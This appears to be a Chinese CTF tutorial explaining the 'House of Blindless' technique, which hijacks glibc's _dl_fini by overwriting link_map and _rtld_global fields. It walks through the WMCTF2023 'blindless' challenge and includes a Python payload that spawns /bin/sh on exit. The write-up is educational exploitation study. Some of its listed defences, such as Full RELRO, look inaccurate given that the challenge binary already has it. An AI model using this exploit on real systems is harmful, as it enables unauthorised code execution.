house of blindless学习利用
字数 1505 2025-08-20 18:17:41
House of Blindless 利用技术详解
前言
House of Blindless 是一种在无内存泄露情况下利用 _dl_fini 函数实现代码执行的技术,与 banana 利用手法相似。该技术由 WMCTF2023 比赛中的 blindless 题目首次展示。
利用条件
- 无泄露情况下可以通过偏移实现 libc 区域的任意写
- 程序可以结束(可显式触发 exit 函数或主函数由 libc_start_main 启动且可正常退出),从而调用到
_dl_fini函数
核心原理
利用 _dl_fini 函数中的以下代码片段:
if (l->l_info[DT_FINI_ARRAY] != NULL) {
// 分支1
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL) {
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
通过控制相关数据结构,可以劫持程序流:
- 控制
_rtld_global+2312为 RDI 寄存器值(如/bin/sh\x00) - 修改
l->l_info[DT_FINI]指针使其指向l->l_info[DT_INIT]->d_un.d_ptr - 控制
l_addr为后门函数地址减去l_info[DT_INIT]的偏移 - 设置
l->l_info[DT_FINI_ARRAY]为 0 以进入第二个分支
关键数据结构
_rtld_global 结构
- 位于 ld.so 文件中,包含多个
_dl_ns结构体 - 存储着 ELF 各段的符号结构体
_dl_rtld_map成员包含关键链接信息
link_map 结构
struct link_map {
ElfW(Addr) l_addr; // 基地址
char *l_name; // 名称
ElfW(Dyn) *l_ld; // 动态段
struct link_map *l_next, *l_prev; // 链表
// ... 其他成员
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; // 动态信息表
// ... 更多成员
};
利用步骤详解
-
控制 RDI 寄存器:
- 设置
_rtld_global+2312为/bin/sh\x00字符串地址
- 设置
-
修改 l_addr:
- 计算
system_addr - l_info[DT_INIT]->d_un.d_ptr的偏移 - 修改
l_addr的低位字节使其指向 system 函数
- 计算
-
劫持 DT_FINI 指针:
- 通过低位覆盖使
l->l_info[DT_FINI]指向l->l_info[DT_INIT] - 通常只需修改指针的最后一位(如从 0xB8 改为 0xA8)
- 通过低位覆盖使
-
禁用 DT_FINI_ARRAY:
- 设置
l->l_info[DT_FINI_ARRAY]为 0 以强制进入第二个分支
- 设置
-
触发执行:
- 显式调用 exit 函数触发
_dl_fini执行
- 显式调用 exit 函数触发
例题分析:WMCTF2023-blindless
程序分析
- 保护全开(Full RELRO, PIE, NX, Canary 等)
- 主函数逻辑:
- 允许分配任意大小的内存(通过 mmap)
- 执行简单的 Brainfuck 解释器
- 存在后门函数
漏洞利用
-
内存分配:
- 申请大内存(如 0x100000)触发 mmap,获取 libc 前的内存区域
-
任意写实现:
- 利用 Brainfuck 解释器的 '@' 指令调整 data 指针
- 使用 '.' 指令写入数据
-
构造 payload:
# 设置 rdi = _rtld_global+2312 = '/bin/sh\x00'
payload = b'@' + p32(argv0-0x10) + write(b'/bin/sh\x00')
# 修改 l_addr 低位为 0xe0
payload += b'@' + p32(l_addr-argv0-8) + write(p8(0xe0))
# 劫持 DT_FINI 指针
payload += b'@' + p32(dt_fini-l_addr-1) + write(p8(0xa8))
# 禁用 DT_FINI_ARRAY
payload += b'@' + p32(dt_fini_array-dt_fini-1) + write(p64(0))
# 触发 exit
payload += b'q'
关键偏移计算
argv0 = _rtld_global+2312 - mmap_basel_addr = 0x33e190(相对于 mmap_base)dt_fini = l_addr + 0xa8dt_fini_array = l_addr + 0x110
防御措施
- 启用 Full RELRO 防止 .dynamic 段被修改
- 使用地址随机化(ASLR)增加预测难度
- 检查指针完整性
- 限制 mmap 分配的大小